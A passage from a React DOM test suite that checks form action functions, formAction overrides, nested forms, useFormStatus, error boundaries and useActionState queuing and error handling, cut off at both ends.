ReactDOM.useFormStatus;\n    requestFormReset = ReactDOM.requestFormReset;\n    container = document.createElement('div');\n    document.body.appendChild(container);\n\n    textCache = new Map();\n\n    if (__VARIANT__) {\n      const originalConsoleError = console.error;\n      console.error = (error, ...args) => {\n        if (\n          typeof error !== 'string' ||\n          error.indexOf('ReactDOM.useFormState has been renamed') === -1\n        ) {\n          originalConsoleError(error, ...args);\n        }\n      };\n      // Remove after API is deleted.\n      useActionState = ReactDOM.useFormState;\n    } else {\n      useActionState = React.useActionState;\n    }\n  });\n\n  function resolveText(text) {\n    const record = textCache.get(text);\n    if (record === undefined) {\n      const newRecord = {\n        status: 'resolved',\n        value: text,\n      };\n      textCache.set(text, newRecord);\n    } else if (record.status === 'pending') {\n      const thenable = record.value;\n      record.status = 'resolved';\n      record.value = text;\n      thenable.pings.forEach(t => t(text));\n    }\n  }\n\n  function readText(text) {\n    const record = textCache.get(text);\n    if (record !== undefined) {\n      switch (record.status) {\n        case 'pending':\n          Scheduler.log(`Suspend! [${text}]`);\n          throw record.value;\n        case 'rejected':\n          throw record.value;\n        case 'resolved':\n          return record.value;\n      }\n    } else {\n      Scheduler.log(`Suspend! [${text}]`);\n      const thenable = {\n        pings: [],\n        then(resolve) {\n          if (newRecord.status === 'pending') {\n            thenable.pings.push(resolve);\n          } else {\n            Promise.resolve().then(() => resolve(newRecord.value));\n          }\n        },\n      };\n\n      const newRecord = {\n        status: 'pending',\n        value: thenable,\n      };\n      textCache.set(text, newRecord);\n\n      throw thenable;\n    }\n  }\n\n  function getText(text) {\n    const record = textCache.get(text);\n    if (record === undefined) {\n      const thenable = {\n        pings: [],\n        then(resolve) {\n          if (newRecord.status === 'pending') {\n            thenable.pings.push(resolve);\n          } else {\n            Promise.resolve().then(() => resolve(newRecord.value));\n          }\n        },\n      };\n      const newRecord = {\n        status: 'pending',\n        value: thenable,\n      };\n      textCache.set(text, newRecord);\n      return thenable;\n    } else {\n      switch (record.status) {\n        case 'pending':\n          return record.value;\n        case 'rejected':\n          return Promise.reject(record.value);\n        case 'resolved':\n          return Promise.resolve(record.value);\n      }\n    }\n  }\n\n  function Text({text}) {\n    Scheduler.log(text);\n    return text;\n  }\n\n  function AsyncText({text}) {\n    readText(text);\n    Scheduler.log(text);\n    return text;\n  }\n\n  afterEach(() => {\n    document.body.removeChild(container);\n  });\n\n  async function submit(submitter) {\n    await act(() => {\n      const form = submitter.form || submitter;\n      if (!submitter.form) {\n        submitter = undefined;\n      }\n      const submitEvent = new Event('submit', {\n        bubbles: true,\n        cancelable: true,\n      });\n      submitEvent.submitter = submitter;\n      const returnValue = form.dispatchEvent(submitEvent);\n      if (!returnValue) {\n        return;\n      }\n      const action =\n        (submitter && submitter.getAttribute('formaction')) || form.action;\n      if (!/\\s*javascript:/i.test(action)) {\n        throw new Error('Navigate to: ' + action);\n      }\n    });\n  }\n\n  it('should allow passing a function to form action', async () => {\n    const ref = React.createRef();\n    let foo;\n\n    function action(formData) {\n      foo = formData.get('foo');\n    }\n\n    const root = ReactDOMClient.createRoot(container);\n    await act(async () => {\n      root.render(\n        <form action={action} ref={ref}>\n          <input type=\"text\" name=\"foo\" defaultValue=\"bar\" />\n        </form>,\n      );\n    });\n\n    await submit(ref.current);\n\n    expect(foo).toBe('bar');\n\n    // Try updating the action\n\n    function action2(formData) {\n      foo = formData.get('foo') + '2';\n    }\n\n    await act(async () => {\n      root.render(\n        <form action={action2} ref={ref}>\n          <input type=\"text\" name=\"foo\" defaultValue=\"bar\" />\n        </form>,\n      );\n    });\n\n    await submit(ref.current);\n\n    expect(foo).toBe('bar2');\n  });\n\n  it('should allow passing a function to an input/button formAction', async () => {\n    const inputRef = React.createRef();\n    const buttonRef = React.createRef();\n    let rootActionCalled = false;\n    let savedTitle = null;\n    let deletedTitle = null;\n\n    function action(formData) {\n      rootActionCalled = true;\n    }\n\n    function saveItem(formData) {\n      savedTitle = formData.get('title');\n    }\n\n    function deleteItem(formData) {\n      deletedTitle = formData.get('title');\n    }\n\n    const root = ReactDOMClient.createRoot(container);\n    await act(async () => {\n      root.render(\n        <form action={action}>\n          <input type=\"text\" name=\"title\" defaultValue=\"Hello\" />\n          <input\n            type=\"submit\"\n            formAction={saveItem}\n            value=\"Save\"\n            ref={inputRef}\n          />\n          <button formAction={deleteItem} ref={buttonRef}>\n            Delete\n          </button>\n        </form>,\n      );\n    });\n\n    expect(savedTitle).toBe(null);\n    expect(deletedTitle).toBe(null);\n\n    await submit(inputRef.current);\n    expect(savedTitle).toBe('Hello');\n    expect(deletedTitle).toBe(null);\n    savedTitle = null;\n\n    await submit(buttonRef.current);\n    expect(savedTitle).toBe(null);\n    expect(deletedTitle).toBe('Hello');\n    deletedTitle = null;\n\n    // Try updating the actions\n\n    function saveItem2(formData) {\n      savedTitle = formData.get('title') + '2';\n    }\n\n    function deleteItem2(formData) {\n      deletedTitle = formData.get('title') + '2';\n    }\n\n    await act(async () => {\n      root.render(\n        <form action={action}>\n          <input type=\"text\" name=\"title\" defaultValue=\"Hello\" />\n          <input\n            type=\"submit\"\n            formAction={saveItem2}\n            value=\"Save\"\n            ref={inputRef}\n          />\n          <button formAction={deleteItem2} ref={buttonRef}>\n            Delete\n          </button>\n        </form>,\n      );\n    });\n\n    expect(savedTitle).toBe(null);\n    expect(deletedTitle).toBe(null);\n\n    await submit(inputRef.current);\n    expect(savedTitle).toBe('Hello2');\n    expect(deletedTitle).toBe(null);\n    savedTitle = null;\n\n    await submit(buttonRef.current);\n    expect(savedTitle).toBe(null);\n    expect(deletedTitle).toBe('Hello2');\n\n    expect(rootActionCalled).toBe(false);\n  });\n\n  it('should allow preventing default to block the action', async () => {\n    const ref = React.createRef();\n    let actionCalled = false;\n\n    function action(formData) {\n      actionCalled = true;\n    }\n\n    const root = ReactDOMClient.createRoot(container);\n    await act(async () => {\n      root.render(\n        <form action={action} ref={ref} onSubmit={e => e.preventDefault()}>\n          <input type=\"text\" name=\"foo\" defaultValue=\"bar\" />\n        </form>,\n      );\n    });\n\n    await submit(ref.current);\n\n    expect(actionCalled).toBe(false);\n  });\n\n  it('should submit the inner of nested forms', async () => {\n    const ref = React.createRef();\n    let data;\n\n    function outerAction(formData) {\n      data = formData.get('data') + 'outer';\n    }\n    function innerAction(formData) {\n      data = formData.get('data') + 'inner';\n    }\n\n    const root = ReactDOMClient.createRoot(container);\n    await act(async () => {\n      // This isn't valid HTML but just in case.\n      root.render(\n        <form action={outerAction}>\n          <input type=\"text\" name=\"data\" defaultValue=\"outer\" />\n          <form action={innerAction} ref={ref}>\n            <input type=\"text\" name=\"data\" defaultValue=\"inner\" />\n          </form>\n        </form>,\n      );\n    });\n    assertConsoleErrorDev([\n      'In HTML, <form> cannot be a descendant of <form>.\\n' +\n        'This will cause a hydration error.\\n' +\n        '\\n' +\n        '> <form action={function outerAction}>\\n' +\n        '    <input>\\n' +\n        '>   <form action={function innerAction} ref={{current:null}}>\\n' +\n        '\\n    in form (at **)',\n    ]);\n\n    await submit(ref.current);\n\n    expect(data).toBe('innerinner');\n  });\n\n  it('should submit once if one root is nested inside the other', async () => {\n    const ref = React.createRef();\n    let outerCalled = 0;\n    let innerCalled = 0;\n    let bubbledSubmit = false;\n\n    function outerAction(formData) {\n      outerCalled++;\n    }\n\n    function innerAction(formData) {\n      innerCalled++;\n    }\n\n    const innerContainerRef = React.createRef();\n    const outerRoot = ReactDOMClient.createRoot(container);\n    await act(async () => {\n      outerRoot.render(\n        // Nesting forms isn't valid HTML but just in case.\n        <div onSubmit={() => (bubbledSubmit = true)}>\n          <form action={outerAction}>\n            <div ref={innerContainerRef} />\n          </form>\n        </div>,\n      );\n    });\n\n    const innerRoot = ReactDOMClient.createRoot(innerContainerRef.current);\n    await act(async () => {\n      innerRoot.render(\n        <form action={innerAction} ref={ref}>\n          <input type=\"text\" name=\"data\" defaultValue=\"inner\" />\n        </form>,\n      );\n    });\n\n    await submit(ref.current);\n\n    expect(bubbledSubmit).toBe(true);\n    expect(outerCalled).toBe(0);\n    expect(innerCalled).toBe(1);\n  });\n\n  it('should submit once if a portal is nested inside its own root', async () => {\n    const ref = React.createRef();\n    let outerCalled = 0;\n    let innerCalled = 0;\n    let bubbledSubmit = false;\n\n    function outerAction(formData) {\n      outerCalled++;\n    }\n\n    function innerAction(formData) {\n      innerCalled++;\n    }\n\n    const innerContainer = document.createElement('div');\n    const innerContainerRef = React.createRef();\n    const outerRoot = ReactDOMClient.createRoot(container);\n    await act(async () => {\n      outerRoot.render(\n        // Nesting forms isn't valid HTML but just in case.\n        <div onSubmit={() => (bubbledSubmit = true)}>\n          <form action={outerAction}>\n            <div ref={innerContainerRef} />\n            {ReactDOM.createPortal(\n              <form action={innerAction} ref={ref}>\n                <input type=\"text\" name=\"data\" defaultValue=\"inner\" />\n              </form>,\n              innerContainer,\n            )}\n          </form>\n        </div>,\n      );\n    });\n\n    innerContainerRef.current.appendChild(innerContainer);\n\n    await submit(ref.current);\n\n    expect(bubbledSubmit).toBe(true);\n    expect(outerCalled).toBe(0);\n    expect(innerCalled).toBe(1);\n  });\n\n  it('can read the clicked button in the formdata event', async () => {\n    const inputRef = React.createRef();\n    const buttonRef = React.createRef();\n    const outsideButtonRef = React.createRef();\n    const imageButtonRef = React.createRef();\n    let button;\n    let buttonX;\n    let buttonY;\n    let title;\n\n    function action(formData) {\n      button = formData.get('button');\n      buttonX = formData.get('button.x');\n      buttonY = formData.get('button.y');\n      title = formData.get('title');\n    }\n\n    const root = ReactDOMClient.createRoot(container);\n    await act(async () => {\n      root.render(\n        <>\n          <form action={action}>\n            <input type=\"text\" name=\"title\" defaultValue=\"hello\" />\n            <input type=\"submit\" name=\"button\" value=\"save\" />\n            <input type=\"submit\" name=\"button\" value=\"delete\" ref={inputRef} />\n            <button name=\"button\" value=\"edit\" ref={buttonRef}>\n              Edit\n            </button>\n            <input\n              type=\"image\"\n              name=\"button\"\n              href=\"/some/image.png\"\n              ref={imageButtonRef}\n            />\n          </form>\n          <form id=\"form\" action={action}>\n            <input type=\"text\" name=\"title\" defaultValue=\"hello\" />\n          </form>\n          <button\n            form=\"form\"\n            name=\"button\"\n            value=\"outside\"\n            ref={outsideButtonRef}>\n            Button outside form\n          </button>\n          ,\n        </>,\n      );\n    });\n\n    container.addEventListener('formdata', e => {\n      // Process in the formdata event somehow\n      if (e.formData.get('button') === 'delete') {\n        e.formData.delete('title');\n      }\n    });\n\n    await submit(inputRef.current);\n\n    expect(button).toBe('delete');\n    expect(title).toBe(null);\n\n    await submit(buttonRef.current);\n\n    expect(button).toBe('edit');\n    expect(title).toBe('hello');\n\n    await submit(outsideButtonRef.current);\n\n    expect(button).toBe('outside');\n    expect(title).toBe('hello');\n\n    await submit(imageButtonRef.current);\n\n    expect(button).toBe(null);\n    expect(buttonX).toBe('0');\n    expect(buttonY).toBe('0');\n    expect(title).toBe('hello');\n  });\n\n  it('excludes the submitter name when the submitter is a function action', async () => {\n    const inputRef = React.createRef();\n    const buttonRef = React.createRef();\n    let button;\n\n    function action(formData) {\n      // A function action cannot control the name since it might be controlled by the server\n      // so we need to make sure it doesn't get into the FormData.\n      button = formData.get('button');\n    }\n\n    const root = ReactDOMClient.createRoot(container);\n    await act(async () => {\n      root.render(\n        <form>\n          <input\n            type=\"submit\"\n            name=\"button\"\n            value=\"delete\"\n            ref={inputRef}\n            formAction={action}\n          />\n          <button\n            name=\"button\"\n            value=\"edit\"\n            ref={buttonRef}\n            formAction={action}>\n            Edit\n          </button>\n        </form>,\n      );\n    });\n    assertConsoleErrorDev([\n      'Cannot specify a \"name\" prop for a button that specifies a function as a formAction. ' +\n        'React needs it to encode which action should be invoked. ' +\n        'It will get overridden.\\n' +\n        '    in input (at **)',\n    ]);\n\n    await submit(inputRef.current);\n\n    expect(button).toBe(null);\n\n    await submit(buttonRef.current);\n\n    expect(button).toBe(null);\n\n    // Ensure that the type field got correctly restored\n    expect(inputRef.current.getAttribute('type')).toBe('submit');\n    expect(buttonRef.current.getAttribute('type')).toBe(null);\n  });\n\n  it('allows a non-function formaction to override a function one', async () => {\n    const ref = React.createRef();\n    let actionCalled = false;\n\n    function action(formData) {\n      actionCalled = true;\n    }\n\n    const root = ReactDOMClient.createRoot(container);\n    await act(async () => {\n      root.render(\n        <form action={action}>\n          <input\n            type=\"submit\"\n            formAction=\"http://example.com/submit\"\n            ref={ref}\n          />\n        </form>,\n      );\n    });\n\n    let nav;\n    try {\n      await submit(ref.current);\n    } catch (x) {\n      nav = x.message;\n    }\n    expect(nav).toBe('Navigate to: http://example.com/submit');\n    expect(actionCalled).toBe(false);\n  });\n\n  it('allows a non-react html formaction to be invoked', async () => {\n    let actionCalled = false;\n\n    function action(formData) {\n      actionCalled = true;\n    }\n\n    const root = ReactDOMClient.createRoot(container);\n    await act(async () => {\n      root.render(\n        <form\n          action={action}\n          dangerouslySetInnerHTML={{\n            __html: `\n            <input\n              type=\"submit\"\n              formAction=\"http://example.com/submit\"\n            />\n          `,\n          }}\n        />,\n      );\n    });\n\n    const node = container.getElementsByTagName('input')[0];\n    let nav;\n    try {\n      await submit(node);\n    } catch (x) {\n      nav = x.message;\n    }\n    expect(nav).toBe('Navigate to: http://example.com/submit');\n    expect(actionCalled).toBe(false);\n  });\n\n  it('form actions are transitions', async () => {\n    const formRef = React.createRef();\n\n    function Status() {\n      const {pending} = useFormStatus();\n      return pending ? <Text text=\"Pending...\" /> : null;\n    }\n\n    function App() {\n      const [state, setState] = useState('Initial');\n      return (\n        <form action={() => setState('Updated')} ref={formRef}>\n          <Status />\n          <Suspense fallback={<Text text=\"Loading...\" />}>\n            <AsyncText text={state} />\n          </Suspense>\n        </form>\n      );\n    }\n\n    const root = ReactDOMClient.createRoot(container);\n    await resolveText('Initial');\n    await act(() => root.render(<App />));\n    assertLog(['Initial']);\n    expect(container.textContent).toBe('Initial');\n\n    // This should suspend because form actions are implicitly wrapped\n    // in startTransition.\n    await submit(formRef.current);\n    assertLog(['Pending...', 'Suspend! [Updated]', 'Loading...']);\n    expect(container.textContent).toBe('Pending...Initial');\n\n    await act(() => resolveText('Updated'));\n    assertLog(['Updated']);\n    expect(container.textContent).toBe('Updated');\n  });\n\n  it('multiple form actions', async () => {\n    const formRef = React.createRef();\n\n    function Status() {\n      const {pending} = useFormStatus();\n      return pending ? <Text text=\"Pending...\" /> : null;\n    }\n\n    function App() {\n      const [state, setState] = useState(0);\n      return (\n        <form action={() => setState(n => n + 1)} ref={formRef}>\n          <Status />\n          <Suspense fallback={<Text text=\"Loading...\" />}>\n            <AsyncText text={'Count: ' + state} />\n          </Suspense>\n        </form>\n      );\n    }\n\n    const root = ReactDOMClient.createRoot(container);\n    await resolveText('Count: 0');\n    await act(() => root.render(<App />));\n    assertLog(['Count: 0']);\n    expect(container.textContent).toBe('Count: 0');\n\n    // Update\n    await submit(formRef.current);\n    assertLog(['Pending...', 'Suspend! [Count: 1]', 'Loading...']);\n    expect(container.textContent).toBe('Pending...Count: 0');\n\n    await act(() => resolveText('Count: 1'));\n    assertLog(['Count: 1']);\n    expect(container.textContent).toBe('Count: 1');\n\n    // Update again\n    await submit(formRef.current);\n    assertLog(['Pending...', 'Suspend! [Count: 2]', 'Loading...']);\n    expect(container.textContent).toBe('Pending...Count: 1');\n\n    await act(() => resolveText('Count: 2'));\n    assertLog(['Count: 2']);\n    expect(container.textContent).toBe('Count: 2');\n  });\n\n  it('form actions can be asynchronous', async () => {\n    const formRef = React.createRef();\n\n    function Status() {\n      const {pending} = useFormStatus();\n      return pending ? <Text text=\"Pending...\" /> : null;\n    }\n\n    function App() {\n      const [state, setState] = useState('Initial');\n      return (\n        <form\n          action={async () => {\n            Scheduler.log('Async action started');\n            await getText('Wait');\n            startTransition(() => setState('Updated'));\n          }}\n          ref={formRef}>\n          <Status />\n          <Suspense fallback={<Text text=\"Loading...\" />}>\n            <AsyncText text={state} />\n          </Suspense>\n        </form>\n      );\n    }\n\n    const root = ReactDOMClient.createRoot(container);\n    await resolveText('Initial');\n    await act(() => root.render(<App />));\n    assertLog(['Initial']);\n    expect(container.textContent).toBe('Initial');\n\n    await submit(formRef.current);\n    assertLog(['Async action started', 'Pending...']);\n\n    await act(() => resolveText('Wait'));\n    assertLog(['Suspend! [Updated]', 'Loading...']);\n    expect(container.textContent).toBe('Pending...Initial');\n\n    await act(() => resolveText('Updated'));\n    assertLog(['Updated']);\n    expect(container.textContent).toBe('Updated');\n  });\n\n  it('sync errors in form actions can be captured by an error boundary', async () => {\n    class ErrorBoundary extends React.Component {\n      state = {error: null};\n      static getDerivedStateFromError(error) {\n        return {error};\n      }\n      render() {\n        if (this.state.error !== null) {\n          return <Text text={this.state.error.message} />;\n        }\n        return this.props.children;\n      }\n    }\n\n    const formRef = React.createRef();\n\n    function App() {\n      return (\n        <ErrorBoundary>\n          <form\n            action={() => {\n              throw new Error('Oh no!');\n            }}\n            ref={formRef}>\n            <Text text=\"Everything is fine\" />\n          </form>\n        </ErrorBoundary>\n      );\n    }\n\n    const root = ReactDOMClient.createRoot(container);\n    await act(() => root.render(<App />));\n    assertLog(['Everything is fine']);\n    expect(container.textContent).toBe('Everything is fine');\n\n    await submit(formRef.current);\n    assertLog(['Oh no!', 'Oh no!']);\n    expect(container.textContent).toBe('Oh no!');\n  });\n\n  it('async errors in form actions can be captured by an error boundary', async () => {\n    class ErrorBoundary extends React.Component {\n      state = {error: null};\n      static getDerivedStateFromError(error) {\n        return {error};\n      }\n      render() {\n        if (this.state.error !== null) {\n          return <Text text={this.state.error.message} />;\n        }\n        return this.props.children;\n      }\n    }\n\n    const formRef = React.createRef();\n\n    function App() {\n      return (\n        <ErrorBoundary>\n          <form\n            action={async () => {\n              Scheduler.log('Async action started');\n              await getText('Wait');\n              throw new Error('Oh no!');\n            }}\n            ref={formRef}>\n            <Text text=\"Everything is fine\" />\n          </form>\n        </ErrorBoundary>\n      );\n    }\n\n    const root = ReactDOMClient.createRoot(container);\n    await act(() => root.render(<App />));\n    assertLog(['Everything is fine']);\n    expect(container.textContent).toBe('Everything is fine');\n\n    await submit(formRef.current);\n    assertLog(['Async action started']);\n    expect(container.textContent).toBe('Everything is fine');\n\n    await act(() => resolveText('Wait'));\n    assertLog(['Oh no!', 'Oh no!']);\n    expect(container.textContent).toBe('Oh no!');\n  });\n\n  it('useFormStatus reads the status of a pending form action', async () => {\n    const formRef = React.createRef();\n\n    function Status() {\n      const {pending, data, action, method} = useFormStatus();\n      if (!pending) {\n        return <Text text=\"No pending action\" />;\n      } else {\n        const foo = data.get('foo');\n        return (\n          <Text\n            text={`Pending action ${action.name}: foo is ${foo}, method is ${method}`}\n          />\n        );\n      }\n    }\n\n    async function myAction() {\n      Scheduler.log('Async action started');\n      await getText('Wait');\n      Scheduler.log('Async action finished');\n    }\n\n    function App() {\n      return (\n        <form action={myAction} ref={formRef}>\n          <input type=\"text\" name=\"foo\" defaultValue=\"bar\" />\n          <Status />\n        </form>\n      );\n    }\n\n    const root = ReactDOMClient.createRoot(container);\n    await act(() => root.render(<App />));\n    assertLog(['No pending action']);\n    expect(container.textContent).toBe('No pending action');\n\n    await submit(formRef.current);\n    assertLog([\n      'Async action started',\n      'Pending action myAction: foo is bar, method is get',\n    ]);\n    expect(container.textContent).toBe(\n      'Pending action myAction: foo is bar, method is get',\n    );\n\n    await act(() => resolveText('Wait'));\n    assertLog(['Async action finished', 'No pending action']);\n  });\n\n  it('should error if submitting a form manually', async () => {\n    const ref = React.createRef();\n\n    let error = null;\n    let result = null;\n\n    function emulateForceSubmit(submitter) {\n      const form = submitter.form || submitter;\n      const action =\n        (submitter && submitter.getAttribute('formaction')) || form.action;\n      try {\n        if (!/\\s*javascript:/i.test(action)) {\n          throw new Error('Navigate to: ' + action);\n        } else {\n          // eslint-disable-next-line no-new-func\n          result = Function(action.slice(11))();\n        }\n      } catch (x) {\n        error = x;\n      }\n    }\n\n    const root = ReactDOMClient.createRoot(container);\n    await act(async () => {\n      root.render(\n        <form\n          action={() => {}}\n          ref={ref}\n          onSubmit={e => {\n            e.preventDefault();\n            emulateForceSubmit(e.target);\n          }}>\n          <input type=\"text\" name=\"foo\" defaultValue=\"bar\" />\n        </form>,\n      );\n    });\n\n    // This submits the form, which gets blocked and then resubmitted. It's a somewhat\n    // common idiom but we don't support this pattern unless it uses requestSubmit().\n    await submit(ref.current);\n    expect(result).toBe(null);\n    expect(error.message).toContain(\n      'A React form was unexpectedly submitted. If you called form.submit()',\n    );\n  });\n\n  it('useActionState updates state asynchronously and queues multiple actions', async () => {\n    let actionCounter = 0;\n    async function action(state, type) {\n      actionCounter++;\n\n      Scheduler.log(`Async action started [${actionCounter}]`);\n      await getText(`Wait [${actionCounter}]`);\n\n      switch (type) {\n        case 'increment':\n          return state + 1;\n        case 'decrement':\n          return state - 1;\n        default:\n          return state;\n      }\n    }\n\n    let dispatch;\n    function App() {\n      const [state, _dispatch, isPending] = useActionState(action, 0);\n      dispatch = _dispatch;\n      const pending = isPending ? 'Pending ' : '';\n      return <Text text={pending + state} />;\n    }\n\n    const root = ReactDOMClient.createRoot(container);\n    await act(() => root.render(<App />));\n    assertLog(['0']);\n    expect(container.textContent).toBe('0');\n\n    await act(() => startTransition(() => dispatch('increment')));\n    assertLog(['Async action started [1]', 'Pending 0']);\n    expect(container.textContent).toBe('Pending 0');\n\n    // Dispatch a few more actions. None of these will start until the previous\n    // one finishes.\n    await act(() => startTransition(() => dispatch('increment')));\n    await act(() => startTransition(() => dispatch('decrement')));\n    await act(() => startTransition(() => dispatch('increment')));\n    assertLog([]);\n\n    // Each action starts as soon as the previous one finishes.\n    // NOTE: React does not render in between these actions because they all\n    // update the same queue, which means they get entangled together. This is\n    // intentional behavior.\n    await act(() => resolveText('Wait [1]'));\n    assertLog(['Async action started [2]']);\n    await act(() => resolveText('Wait [2]'));\n    assertLog(['Async action started [3]']);\n    await act(() => resolveText('Wait [3]'));\n    assertLog(['Async action started [4]']);\n    await act(() => resolveText('Wait [4]'));\n\n    // Finally the last action finishes and we can render the result.\n    assertLog(['2']);\n    expect(container.textContent).toBe('2');\n  });\n\n  it('useActionState supports inline actions', async () => {\n    let increment;\n    function App({stepSize}) {\n      const [state, dispatch, isPending] = useActionState(async prevState => {\n        return prevState + stepSize;\n      }, 0);\n      increment = dispatch;\n      const pending = isPending ? 'Pending ' : '';\n      return <Text text={pending + state} />;\n    }\n\n    // Initial render\n    const root = ReactDOMClient.createRoot(container);\n    await act(() => root.render(<App stepSize={1} />));\n    assertLog(['0']);\n\n    // Perform an action. This will increase the state by 1, as defined by the\n    // stepSize prop.\n    await act(() => startTransition(() => increment()));\n    assertLog(['Pending 0', '1']);\n\n    // Now increase the stepSize prop to 10. Subsequent steps will increase\n    // by this amount.\n    await act(() => root.render(<App stepSize={10} />));\n    assertLog(['1']);\n\n    // Increment again. The state should increase by 10.\n    await act(() => startTransition(() => increment()));\n    assertLog(['Pending 1', '11']);\n  });\n\n  it('useActionState: dispatch throws if called during render', async () => {\n    function App() {\n      const [state, dispatch, isPending] = useActionState(async () => {}, 0);\n      dispatch();\n      const pending = isPending ? 'Pending ' : '';\n      return <Text text={pending + state} />;\n    }\n\n    const root = ReactDOMClient.createRoot(container);\n    await act(async () => {\n      root.render(<App />);\n      await waitForThrow('Cannot update action state while rendering.');\n    });\n  });\n\n  it('useActionState: queues multiple actions and runs them in order', async () => {\n    let action;\n    function App() {\n      const [state, dispatch, isPending] = useActionState(\n        async (s, a) => await getText(a),\n        'A',\n      );\n      action = dispatch;\n      const pending = isPending ? 'Pending ' : '';\n      return <Text text={pending + state} />;\n    }\n\n    const root = ReactDOMClient.createRoot(container);\n    await act(() => root.render(<App />));\n    assertLog(['A']);\n\n    await act(() => startTransition(() => action('B')));\n    // The first dispatch will update the pending state.\n    assertLog(['Pending A']);\n    await act(() => startTransition(() => action('C')));\n    await act(() => startTransition(() => action('D')));\n    assertLog([]);\n\n    await act(() => resolveText('B'));\n    await act(() => resolveText('C'));\n    await act(() => resolveText('D'));\n\n    assertLog(['D']);\n    expect(container.textContent).toBe('D');\n  });\n\n  it(\n    'useActionState: when calling a queued action, uses the implementation ' +\n      'that was current at the time it was dispatched, not the most recent one',\n    async () => {\n      let action;\n      function App({throwIfActionIsDispatched}) {\n        const [state, dispatch, isPending] = useActionState(async (s, a) => {\n          if (throwIfActionIsDispatched) {\n            throw new Error('Oops!');\n          }\n          return await getText(a);\n        }, 'Initial');\n        action = dispatch;\n        return <Text text={state + (isPending ? ' (pending)' : '')} />;\n      }\n\n      const root = ReactDOMClient.createRoot(container);\n      await act(() => root.render(<App throwIfActionIsDispatched={false} />));\n      assertLog(['Initial']);\n\n      // Dispatch two actions. The first one is async, so it forces the second\n      // one into an async queue.\n      await act(() => startTransition(() => action('First action')));\n      assertLog(['Initial (pending)']);\n      // This action won't run until the first one finishes.\n      await act(() => startTransition(() => action('Second action')));\n\n      // While the first action is still pending, update a prop. This causes the\n      // inline action implementation to change, but it should not affect the\n      // behavior of the action that is already queued.\n      await act(() => root.render(<App throwIfActionIsDispatched={true} />));\n      assertLog(['Initial (pending)']);\n\n      // Finish both of the actions.\n      await act(() => resolveText('First action'));\n      await act(() => resolveText('Second action'));\n      assertLog(['Second action']);\n\n      // Confirm that if we dispatch yet another action, it uses the updated\n      // action implementation.\n      await expect(\n        act(() => startTransition(() => action('Third action'))),\n      ).rejects.toThrow('Oops!');\n    },\n  );\n\n  it('useActionState: works if action is sync', async () => {\n    let increment;\n    function App({stepSize}) {\n      const [state, dispatch, isPending] = useActionState(prevState => {\n        return prevState + stepSize;\n      }, 0);\n      increment = dispatch;\n      const pending = isPending ? 'Pending ' : '';\n      return <Text text={pending + state} />;\n    }\n\n    // Initial render\n    const root = ReactDOMClient.createRoot(container);\n    await act(() => root.render(<App stepSize={1} />));\n    assertLog(['0']);\n\n    // Perform an action. This will increase the state by 1, as defined by the\n    // stepSize prop.\n    await act(() => startTransition(() => increment()));\n    assertLog(['Pending 0', '1']);\n\n    // Now increase the stepSize prop to 10. Subsequent steps will increase\n    // by this amount.\n    await act(() => root.render(<App stepSize={10} />));\n    assertLog(['1']);\n\n    // Increment again. The state should increase by 10.\n    await act(() => startTransition(() => increment()));\n    assertLog(['Pending 1', '11']);\n  });\n\n  it('useActionState: can mix sync and async actions', async () => {\n    let action;\n    function App() {\n      const [state, dispatch, isPending] = useActionState((s, a) => a, 'A');\n      action = dispatch;\n      const pending = isPending ? 'Pending ' : '';\n      return <Text text={pending + state} />;\n    }\n\n    const root = ReactDOMClient.createRoot(container);\n    await act(() => root.render(<App />));\n    assertLog(['A']);\n\n    await act(() => startTransition(() => action(getText('B'))));\n    // The first dispatch will update the pending state.\n    assertLog(['Pending A']);\n    await act(() => startTransition(() => action('C')));\n    await act(() => startTransition(() => action(getText('D'))));\n    await act(() => startTransition(() => action('E')));\n    assertLog([]);\n\n    await act(() => resolveText('B'));\n    await act(() => resolveText('D'));\n    assertLog(['E']);\n    expect(container.textContent).toBe('E');\n  });\n\n  it('useActionState: error handling (sync action)', async () => {\n    class ErrorBoundary extends React.Component {\n      state = {error: null};\n      static getDerivedStateFromError(error) {\n        return {error};\n      }\n      render() {\n        if (this.state.error !== null) {\n          return <Text text={'Caught an error: ' + this.state.error.message} />;\n        }\n        return this.props.children;\n      }\n    }\n\n    let action;\n    function App() {\n      const [state, dispatch, isPending] = useActionState((s, a) => {\n        if (a.endsWith('!')) {\n          throw new Error(a);\n        }\n        return a;\n      }, 'A');\n      action = dispatch;\n      const pending = isPending ? 'Pending ' : '';\n      return <Text text={pending + state} />;\n    }\n\n    const root = ReactDOMClient.createRoot(container);\n    await act(() =>\n      root.render(\n        <ErrorBoundary>\n          <App />\n        </ErrorBoundary>,\n      ),\n    );\n    assertLog(['A']);\n\n    await act(() => startTransition(() => action('Oops!')));\n    assertLog([\n      // Action begins, error has not thrown yet.\n      'Pending A',\n      // Now the action runs and throws.\n      'Caught an error: Oops!',\n      'Caught an error: Oops!',\n    ]);\n    expect(container.textContent).toBe('Caught an error: Oops!');\n  });\n\n  it('useActionState: error handling (async action)', async () => {\n    class ErrorBoundary extends React.Component {\n      state = {error: null};\n      static getDerivedStateFromError(error) {\n        return {error};\n      }\n      render() {\n        if (this.state.error !== null) {\n          return <Text text={'Caught an error: ' + this.state.error.message} />;\n        }\n        return this.props.children;\n      }\n    }\n\n    let action;\n    function App() {\n      const [state, dispatch, isPending] = useActionState(async (s, a) => {\n        const text = await getText(a);\n        if (text.endsWith('!')) {\n          throw new Error(text);\n        }\n        return text;\n      }, 'A');\n      action = dispatch;\n      const pending = isPending ? 'Pending ' : '';\n      return <Text text={pending + state} />;\n    }\n\n    const root = ReactDOMClient.createRoot(container);\n    await act(() =>\n      root.render(\n        <ErrorBoundary>\n          <App />\n        </ErrorBoundary>,\n      ),\n    );\n    assertLog(['A']);\n\n    await act(() => startTransition(() => action('Oops!')));\n    // The first dispatch will update the pending state.\n    assertLog(['Pending A']);\n    await act(() => resolveText('Oops!'));\n    assertLog(['Caught an error: Oops!', 'Caught an error: Oops!']);\n    expect(container.textContent).toBe('Caught an error: Oops!');\n  });\n\n  it('useActionState: when an action errors, subsequent actions are canceled', async () => {\n    class ErrorBoundary extends React.Component {\n      state = {error: null};\n      static getDerivedStateFromError(error) {\n        return {error};\n      }\n      render() {\n        if (this.state.error !== null) {\n          return <Text text={'Caught an error: ' + this.state.error.message} />;\n        }\n        return this.props.children;\n      }\n    }\n\n    let action;\n    function App() {\n      const [state, dispatch, isPending] = useActionState(async (s, a) => {\n        Scheduler.log('Start action: ' + a);\n        const text = await getText(a);\n        if (text.endsWith('!')) {\n          throw new Error(text);\n        }\n        return text;\n      }, 'A');\n      action = dispatch;\n      const 